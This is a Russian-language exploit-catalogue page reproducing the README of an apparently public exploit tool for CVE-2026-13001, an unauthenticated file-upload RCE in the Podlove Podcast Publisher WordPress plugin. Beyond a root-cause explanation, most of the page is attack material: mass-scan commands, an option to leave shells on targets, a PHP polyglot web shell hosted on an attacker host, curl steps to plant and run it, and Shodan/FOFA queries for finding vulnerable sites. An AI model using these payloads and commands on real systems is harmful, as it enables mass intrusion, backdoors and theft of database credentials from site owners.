Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-13001 — Podlove Podcast Publisher — неаутентифицированная загрузка файлов RCE из-за несоответствия между is_image() и extract_file_extension() | CVSS 9.8 | Kitploit
Инструменты/GitHubGitHub/shinthink/cve-2026-13001
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubshinthink/cve-2026-13001

CVE-2026-13001

Podlove Podcast Publisher — неаутентифицированная загрузка файлов RCE из-за несоответствия между is_image() и extract_file_extension() | CVSS 9.8

Репозиторий
211 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-13001 — Podlove Podcast Publisher: неаутентифицированная загрузка файлов с выполнением кода (RCE)

Несоответствие is_image() и extract_file_extension() → загрузка PHP-полиглота


Обзор

CVE-2026-13001 — это критическая (CVSS 9.8) неаутентифицированная уязвимость произвольной загрузки файлов в WordPress-плагине Podlove Podcast Publisher версиях ≤ 4.5.1.

Уязвимость связана с несоответствием между двумя внутренними функциями, которые по-разному разбирают расширения файлов:

  • использует , который → URL отображается как ✅ (допустимое изображение)
is_image()
basename()
включает строку запроса
shell.php?.gif
.gif
  • extract_file_extension() использует только путь из parse_url() → возвращает .php → файл сохраняется с расширением .php 🚨
  • Злоумышленники загружают GIF89a PHP-полиглоты (корректный GIF-заголовок + встроенный PHP), которые проходят проверку изображения, но при обращении выполняются как PHP.

    Затронутые версии

    ВерсияСтатус
    ≤ 4.5.1Уязвима
    4.5.2+Исправлена

    Обнаружено: Talal Nasraddeen через Wordfence (14 июля 2026)


    Механизм уязвимости

    Корневая причина

    root@kitploit:~
    // is_image() — uses basename() which includes query string
    function is_image($url) {
        $ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
        return in_array($ext, ['jpg','jpeg','png','gif','webp']);
    }
    // URL: https://attacker.com/shell.php?.gif
    // basename() → "shell.php?.gif" → ext = "gif" ✅ BYPASSED
    
    root@kitploit:~
    // extract_file_extension() — uses parse_url() path only
    function extract_file_extension($url) {
        $path = parse_url($url, PHP_URL_PATH);
        return pathinfo($path, PATHINFO_EXTENSION);
    }
    // URL: https://attacker.com/shell.php?.gif
    // parse_url() → "/shell.php" → ext = "php" 🚨 SAVED AS .php
    

    Схема атаки

    root@kitploit:~
    1. Attacker hosts GIF89a PHP polyglot at attacker.com/shell.php?.gif
    2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
    3. is_image() validates .gif extension → PASS
    4. Plugin downloads file → saves as test_original.php in cache/
    5. Attacker accesses /wp-content/cache/podlove/{hash}/test_original.php
    6. PHP executes → RCE
    

    Установка

    root@kitploit:~
    git clone https://github.com/shinthink/CVE-2026-13001.git
    cd CVE-2026-13001
    pip install -r requirements.txt
    

    Использование

    root@kitploit:~
    # Single target
    python cve_2026_13001.py -t target.com
    
    # Mass scan
    python cve_2026_13001.py -f targets.txt -o shells.txt
    
    # Custom payload URL
    python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
    
    # Debug mode, leave shells
    python cve_2026_13001.py -t target.com --debug --no-cleanup
    

    Аргументы

    root@kitploit:~
      -t, --target       Single target (domain or IP)
      -f, --file         Target list, one per line
      -o, --output       Save RCE URLs to file
      --payload-url      URL hosting the PHP polyglot (default: GitHub raw)
      --threads          Concurrent workers (default: 30)
      --no-cleanup       Leave shells on target
      --debug            Show every HTTP request
      -v, --verbose      Verbose output
    

    Доказательство концепции

    Одиночная цель

    root@kitploit:~
    $ python cve_2026_13001.py -t podcast-site.com
    
    root@kitploit:~
      Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
    
      Host       : podcast-site.com
      Podlove    : YES v4.5.1
      Upload     : YES
      RCE        : YES
      Shell      : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
      Output     : uid=33(www-data) gid=33(www-data)
      Time       : 4.2s
    

    Массовое сканирование

    root@kitploit:~
      Targets: 500  |  Threads: 30
      Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
    
      [RCE] podcast-vuln-01.com       https://podcast-vuln-01.com/wp-content/cache/podlove/...
      [150/500] 30% | Det:42 RCE:8
    

    Ручная эксплуатация

    Шаг 1 — Разместите политлот-шелл

    root@kitploit:~
    // shell.php — save and host on your server
    GIF89a<?php system($_GET['c']); ?>
    

    Шаг 2 — Hex-кодирование URL с обходом

    root@kitploit:~
    # URL: https://attacker.com/shell.php?.gif
    echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
    

    Шаг 3 — Запустите загрузку кэша

    root@kitploit:~
    curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
    

    Шаг 4 — Получите доступ к шеллу

    root@kitploit:~
    # Path: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
    curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
    

    FOFA / Shodan

    root@kitploit:~
    FOFA:   body="podlove-podcasting-plugin-for-wordpress"
    Shodan: http.html:"podlove"
    

    Воздействие

    Успешная эксплуатация приводит к удалённому выполнению кода от имени пользователя веб-сервера:

    • Извлечение wp-config.php → учётные данные БД
    • Доступ ко всему содержимому WordPress, пользователям и данным плагинов
    • Развёртывание постоянных бэкдоров
    • Переход во внутренние сети

    Отказ от ответственности

    ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ТЕСТОВ.

    Авторы не несут ответственности за неправомерное использование.


    Ссылки

    РесурсСсылка
    Уведомление Wordfencewordfence.com
    Релиз безопасности Podlovepodlove.org
    Запись NVDCVE-2026-13001
    PoC от Raimu0x19GitHub
    ИсследовательTalal Nasraddeen

    Не аффилировано с Podlove.

    Скачать инструмент